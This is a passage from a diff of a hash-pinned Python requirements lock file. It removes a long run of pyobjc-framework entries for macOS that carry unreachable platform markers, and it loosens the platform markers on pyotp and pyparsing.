sys_platform == 'linux' \ - --hash=sha256:5643150f584243681099c5e9435efa833a913e93fe9ca81f62007e287349b561 \ - --hash=sha256:c303207610d9c742f4090799f60103cede466002f3c89cf66011c8bf1987750b -pyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:31e6538160dfd7526ac0549bc0fce5d039932aea84c36abbe7b49c79ffc62437 \ - --hash=sha256:e010f56bf60ab4e9e3225954ebb53e9d7135d37097043ac6dd2a3f35770d4efa -pyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:3280ad2f4c5eaf45901f310cee0c52db940c0c63e959ad082efb8df41055d986 \ - --hash=sha256:7d4141e572cb916e73bb34bb74f6f976a8aa0a396a0bffd1cf66e5505f7c76c8 -pyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c114a96f13f586dbbab8b6219a92fa4829896a645c8cd15652a6215bc8ff5409 -pyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:50887e948b78a1d94646422c243ac2a9e40761675e38b9184487870a31e83371 -pyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:748ca1c75f84afdf5419346a24bf8eec44dca071986f31f00071dc191b3e9ca8 -pyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:162a23e67f59e1bb247e84dda88d513d7944d815144901a46be6fe051b6c7970 \ - --hash=sha256:f2765f114c2f4356aa41fb45c621fa8f0a4fae0b6d3c6b1a274366f5fe7fe829 -pyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:692364937f418f0e4e4abd395a09a7d4a0cdd55fd4e0184de85ee59642defb6e \ - --hash=sha256:c72b0fd8b746b99cfa498da36c5bb333121b2080ad73fa8cbea05cd47db1fa82 -pyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:d29157d04124503c4dfa9dcbbdc8c34d3bab134d3db3a48d96d93f26bd94c14d -pyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9ded1eab19b4183cb04381e554bbbe679c1213fd58599d6fc6e135e93b51136f -pyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a1c4ed54e11a6e4efba6f2a21ace92bcf186e3fe5c74a385b31f6b1a515ec20c -pyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:4d5346faf90e1ebe5602c0c480afbf528a35a7a1ad05f9b49991fdd2a97f105b -pyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9b8db075da8866c4ef039a165af227bc29393dc11a617a40671bf6b3975ae269 -pyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9ae2bee69b0cc1afa0e210b4663c7cdbb3cc94be1374808df06f98f992e83639 -pyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:20f59bd9e1ffafe5893b4eff5867fdfd20bd46c3d03bc4009219d82fc6815f76 -pyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a610ceb6726e385b132a1481a68ce85ccf56f94667b6d6e1c45a2cfab806a624 -pyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:7037579524041dcee71a649293c2660f9359800455a15e6a2f74a17b46d78496 -pyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:363e59c7e05553d881f0facd41884f17b489ff443d7856e33dd0312064c746d9 \ - --hash=sha256:f92b06c9595f3c800b7aabf1c1a235bfb4b2de3f5406d5f604d8e2ddd0aecb4e -pyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a70b716e279135eec5666af031f536c0f32dec57cfeae55cc9ff8457f10d4f3d \ - --hash=sha256:c222aa61eb009704b333f6e63df01a0e690136e7e495907e5396882779bf9525 -pyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:13185f206493f45d6bd2d4903c2136b1c4f8b9aa37628309ace6ff4a906b4695 -pyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c8182155af4dce369c18d6e6ed9c25bbd8110c161ed5f1b4fb77cf5cdb99d135 -pyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:094fd4be60cd1371b17cb4b33a3894e0d88a11b36683912be0540a7d51de76f1 -pyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:060c721f1cd8af4452493e8153b72b572edcd2a7e3b635d79d844f885afee860 \ - --hash=sha256:3c5a382d81f319a1ab9ab11b7ead04e53b758fdfeb604755d39c3039485eaac6 -pyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:0c36ad56f8ec675dd07616418a2bc29126412b54627655abd21de31bcafe2a79 \ - --hash=sha256:a468b3a31e8cd70a2675a3ddc7176ab13aa521c035f11188b7a3af8fff8b148b -pyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:4e87d41f82acb6d98cf70ac3c932a568ceb3c2035383cbf177f54e63de6b815f \ - --hash=sha256:e2212a9340e4328056ade3c2f9d4305c71f3f6af050204a135f9fa9aa3ba9c5e -pyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:e934d1638cd89e38d6c6c5d4d9901b4295acee2d39cbfe0bd91aae9832961b44 \ - --hash=sha256:ec74690bd3383a7945c4a038cc4e1553ec5c1d2408b60e2b0003a3564bff7c47 -pyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:57f3b183021759a100d2847a4d8aa314f4033be3d2845038b62e5e823d96e871 \ - --hash=sha256:c6c3142301e4d375c24a47dfaeebc2f3d0fc33128a1c0a755794865b9a371145 -pyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:80b55368b1e208d6c2c58395cc7bc12a630a2a402e00e4930493e9bace22b7bb \ - --hash=sha256:8b58f1156651058b2905c87ce48468f4799db86a7edf760e1897fedd057a3908 -pyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:11a704e50a0b7dbfb01552b7d686473ffa63b5254100fdb271a1fe368dd08e87 -pyobjc-framework-libxpc==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8fd7468aa520ff19915f6d793070b84be1498cb87224bee2bad1f01d8375273a -pyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:018093469d780a45d98f4e159f1ea90771caec456b1599abcc6f3bf3c6873094 \ - --hash=sha256:a785f393b01fdaada6d7d6d8de46b7173babba205b13b44f1dc884b3695c2fc9 -pyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:3cd48907c794bd414ac68b8ac595d83c7e1453b63fc2cfc2d2035b690d31eaa1 -pyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:22baf3aae606e5204e194f02bb205f244e27841ea7b4a4431303955475b4fa56 \ - --hash=sha256:3539a947b102b41ea6e40e7c145f27280d2f36a2a9a1211de32fa675d91585eb -pyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8e6026462567baba194468e710e83787f29d9e8c98ea0583f7b401ea9515966e \ - --hash=sha256:bf97dc44cb09b9eb9d591660dc0a41f077699976144b954caa4b9f0479211fd7 -pyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:f3a5016f266091be313a118a42c0ea4f951c399b5259d93639eb643dacc626f1 -pyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:52479a998fec3d079d2d4590a945fc78c41fe7ac8c76f1964c9d8156880565a4 \ - --hash=sha256:cd07e7fc375ff1e8d225e0aa2bd9c2c1497a4d3aa5a80bfb13b08800fcd7f034 -pyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:85a1c8a94e9175fb364c453066ef99b95752343fd113f08a3805cad56e2fa709 -pyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:102f4326f789734b7b2dfe689abd3840ca75a76fb8058bd3e4f85398ae2ce29d \ - --hash=sha256:779be84bd280f63837ce02028ca46b41b090902aa4205887ffd5777f49377669 -pyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b655cf537ea52d73209eb12935a047301c30239b318a366600f0f44335d51c9a \ - --hash=sha256:d07a634b98e1b9eedd82d76f35e616525da096bd341051ea74f0971e0f2f2ddd -pyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:97834addc5179b3165c0d8cd74cc97ad43ed4c89547724216426348aca3b822a -pyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:f9fd3b7574a824632ee9b7602973da30f172d2b575dd0c0f5ef76b44cfe9f6f9 -pyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:555c1b895d4ba31be43930f45e219a5d7bb0e531d148a78b6b75b677cc588fd8 -pyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8811cd81ee9583b9330df4f2499a73dcc53f3359cb92767b409acaec9e4faa1e -pyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8a312d090a0f51651e63d9001e6cc7c1aa04ceccf23b494cbf84b7fd3d122071 -pyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9b8b014e8301c2ae608a25f73bbf23c8f3f73a6f5fdbafddad509a21b84df681 \ - --hash=sha256:d25225aab4edc6f786b29fe3d9badc4f3e2d0caeab1054cd4f224258c1b6dbe2 -pyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a79d37575489916c35840e6a07edd958be578d3be7a3d621684d028d721f0b85 -pyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:975150725e919f8d3d33f830898f3cd2fd19a440999faab320609487f4eae19d \ - --hash=sha256:f6c4c3ea6a62e4e3927abf9783c40495aa8bb9a8c89def744b0822da58c2354b -pyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:fad0fa2c09d468ac7e49848e144f7bbce6826f2178b3120add8960a83e5bfcb7 -pyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a3dacca5e6e2f1960dd2d1107d98399ff81ecf54a9852baa8ec8767dbfdbf54b -pyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:65a780273d2cdd12a3fa304e9c9ad822cb71facd9281f1b35a71640c53826f7c \ - --hash=sha256:ab1fc711713aa29c32719774fc623bf2d32168aed21883970d4896e901ff4b41 -pyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9c49f050c8171dc37e54d05dd12a63979c8b6b565c10f05092923a2250446f50 \ - --hash=sha256:f202e8e0c2e73516d3eac7a43b1c66f9911cdbb37ea32750ed197d82162c994a -pyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:f6df7a58a1279bbc976fd7e2efe813afbbb18427df40463e6e2ee28fba07d2df -pyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:2b74b430ca651293e5aa90a1e7571b200d0acbf42803af87306ac8a1c70b0d4b -pyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:0b938053f2d6b1cea9db79313639d7eb9ddd5b2a5436a346be0887e75101e717 -pyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:319ac3424ed0350be458b78148914468a8fc13a069d62e7869e3079108e4f118 \ - --hash=sha256:bb4219b0d98dff4a952c50a79b1855ce74e1defd0d241f3013def5b09256fd7b -pyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:1b0c0cc537ffb8a8365ef9a8b46f717a7cc2906414b6a3983777a6c0e4d53d5a \ - --hash=sha256:920987da78b67578367c315d208f87e8fab01dd35825d72242909f29fb43c820 -pyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b2af409617e6b68fa1f1467c5a5679ebf59afd0cdc4b4528e1616059959a7979 -pyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:d2408b58960fca66607b483353c1ffbd751ef0bef394a1853ec414a34029566f -pyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9c173e0fe70179feadc3558de113a8baad61b584fe70789b263af202bfa4c6be \ - --hash=sha256:b7824907bbcf28812f588dda730e78f662313baf40befd485c6f2fcb49018019 -pyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a940d81ac5c393ae3da94144cf40af33932e0a9731244e2cfd5c9c8eb851e3fc \ - --hash=sha256:cfa61f9c6c004161913946501538258aed48c448b886adbf9ed035957d93fa15 -pyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c8c3b25b14a2305047f72c7c081ff3655b3d051f7ed531476c03246798f8156d -pyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:1c7ffab4860ce3e2b50feeed4f1d84488a9e38546db0bec09484d8d141c650df -pyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6e4a55195ec9fc921e0eaad6b3038d0ab91f0bb2f39206aa6fccd24b14a0f1d8 \ - --hash=sha256:6ee5f5a7eb294e03ea3bac522ac4b69e6dc83ceceff627a0a2d289afe1e01ad9 -pyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:540769a4aadc3c9f08beca8496fe305372501eb28fdbca078db904a07b8e10f4 -pyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a57f35ccfc22ad48c87c5932818e583777ff7276605fef6afad0ac0741169f75 -pyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:1614dc108c1d45bbf899ea84b8691288a5b1d25f2d6f0c57dfffa962b7a478c3 \ - --hash=sha256:4d1863c6c83c2a199c1dbe704b4f8b71287168f4090ed218d37dc59277f0d9c9 -pyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6919baa123a6d8aad769769fcff87369e13ee7bae11b955a8185a406a651061b -pyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:39a17df1a8e1c339457f3acbff0dc0eae4681d158f9d783a11995cf484aa9cd0 -pyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c6b44e0cf69e27584ac3ef3d8b771d19a7c2ccd9c6de4138d091358e036322d4 -pyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:82941f1e5040114d6e2c9fd35507244e102ef561c637686091b71a7ad0f31306 -pyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:11443781a30ed446f2d892c9e6642ca4897eb45f1a1411136ca584997fa739e0 -pyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:d5fbc9dc076cc574ead183d521840b56be0c160415e43cb8e01cfddd6d6372c2 -pyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:50a4e4ab33d6643a52616e990aa1c697d5e3e8f9f9bdab8d631e6d42d8287b4f \ - --hash=sha256:9bb8269456bbb674e1421182efe49f9168ceefd4e7c497047c7bf63e2f510a34 -pyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:604445c759210a35d86d3e0dfcde0aac8e5e3e9d9e35759e0723952138843699 -pyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:13a194eefcf1359ce9972cd92f2aadddf103f3efb1b18fd578ba5367dff3c10c \ - --hash=sha256:9c9d6ca71cef637ccc3627225fb924a460b3d0618ed79bb0b3c12fcbe9270323 -pyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:dabcee6987c6bae575e2d1ef0fcbe437678c4f49f1c25a4b131a5e960f31a2da -pyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:25f2cf10f80c122f462e9d4d43efe9fd697299c194e0c357e76650e234e6d286 \ - --hash=sha256:b3c4cf70735a93e9df40f3a14478143959c415778f27be8c0dc9ae0c5b696b92 -pyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:e7aa6373e525f3ae05d71276e821a6348c53fec9f812b90eec1dbadfcb507bc9 -pyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:3cdb101b03459fcf8e4064b90021d06761003f669181e02f43ff585e6ba2403d \ - --hash=sha256:e80c93e8a56bf89e4c0333047b9f8219752dd6de290681e9e2e2b2e26d69e92d -pyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:5b310515c7386f7afaf13e4632d7d9590688182bb7b563f8026c304bdf317308 \ - --hash=sha256:dbb78f5917f986a63878bb91263bceba28bd86fc381bad9461cf391646db369f -pyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:104f56557342a05ad68cd0c9daf63b7f4678957fe1f919f03a872f1607a50710 \ - --hash=sha256:90a07164da49338480e0e135b445acc6ae7c08549a2037d1e512d2605fedd80a -pyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ece3a28a3083d0bcad0ac95b01f0eb699b9d2d0c02c61305bfd402678753ff6e -pyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:790050d25f47bda662a9f008b17ca640ac2460f2559a56b17995e53f2f44ed73 -pyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c6e3c9ab8744d9319a89b78ae6f185bb5704efb68509e66d77bcd1f84a9446d6 -pyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ab5878c47d7a0639704c191cee43eeb259e09688808f0905c42551b9f79e1d57 \ - --hash=sha256:fbc09d7b00dad45b547f9b2329f4dcee3f5a50e2348de1870de0bd7be853a5b7 -pyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:42cd25b7e0f343d8b59367f72b5dae96cf65696bdb8eeead8d7424ed37aa1434 \ - --hash=sha256:6cf983c24fb2ad2aa5e7499ab2d30ff134d887fe91fd2641acf7472e546ab4e5 -pyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:d382977208c3710eacea89e05eae4578f1638bb5a7b667c06971e3d34e96845c -pyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:914da6e846573cac8db5e403dec9a3e6f6edf5211f9b7e429734924d00f65108 -pyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:85acc30c0bfa120b37c3c5ac693fe9ad2c2e351ee7a1f9ea6f976b0c311ff164 -pyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:0e09b7813ef2ebdca7567d3179807444dd60f3f393202b35b755d4e1baf99982 \ - --hash=sha256:1de6fc3af15fc8d5fd4869663a3250311844ec33e99ec8a1991a352ab61d641d -pyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:0f141d717256b98c17ec2eddbc983c4bd39dfa00dc0c31b4174742e73a8447fe -pyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:f30ed0e9a8233fecb06522e67795918ab230ddcc4a18e15494eff7532f4c3ae1 -pyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8ff9f0aad14dcdd07dd47545c1dd20df7a286306967b0a0232c81fcc382babe6 -pyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:55021455215a0d3ad4e40152f94154e29062e73655558c5f6e71ab097d90083e \ - --hash=sha256:73a32782f44b61ca0f8a4a9811c36b1ca1cdcf96c8a3ba4de35d8e8e58a86ad5 -pyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6e2e8ea89eb8ca03bc2bc8e506fff901e71d916276475c8d81fbf0280059cb4c \ - --hash=sha256:86c499bec8953aeb0c95af39b63f2592832384f09f12523405650b5d5f1ed5e9 -pyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:38fc763afa7854b41ddfca8803f679a7305d278af8a7ad02044adc1265699996 -pyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:18e0182bddd10381884530d6a28634ebb3280912592f8f2ad5bac2a9308c6a65 \ - --hash=sha256:b84d73d90ab319acf8fad5c59b7a5e2b6023fbb2efd68c58b532e3b3b52f647a -pyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:2dd78586260fcee51044e129197e8bf2e157176e02babeec2f873afa4235d8c6 \ - --hash=sha256:d5a95ae9f2a6f0180a5bbb10e76c064f0fd327aae00a2fe90aa7b65ed4dad7ef -pyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a27985656e1b639cdb102fcc727ebc39f71bb1a44cdb751c8c80cc9fe938f3a9 -pyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:4221ee5eb669e43a2ff46e04178bec149af2d65205deb5d4db5fa62ea060e022 -pyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:26590512ee7758da3056499062a344b8a351b178be66d4b719327884dde4216b -pyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:27e701c7aaf4f24fc7e601a128e2ef14f2773f4ab071b9db7438dc5afb5053ae -pyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pyotp==2.9.0 \ --hash=sha256:346b6642e0dbdde3b4ff5a930b664ca82abfa116356ed48cc42c7d6590d36f63 \ --hash=sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612 -pyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pyparsing==3.2.5 \ --hash=sha256:2df8d5b7b2802ef88e8d016a2eb9c7aeaa923529cd251ed0fe4608275d4105b6 \ --hash=sha256:e38a4f02064cf41fe6593d328d0512495ad1f3d8a91c4f73fc401b3079a59a5e -pypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ 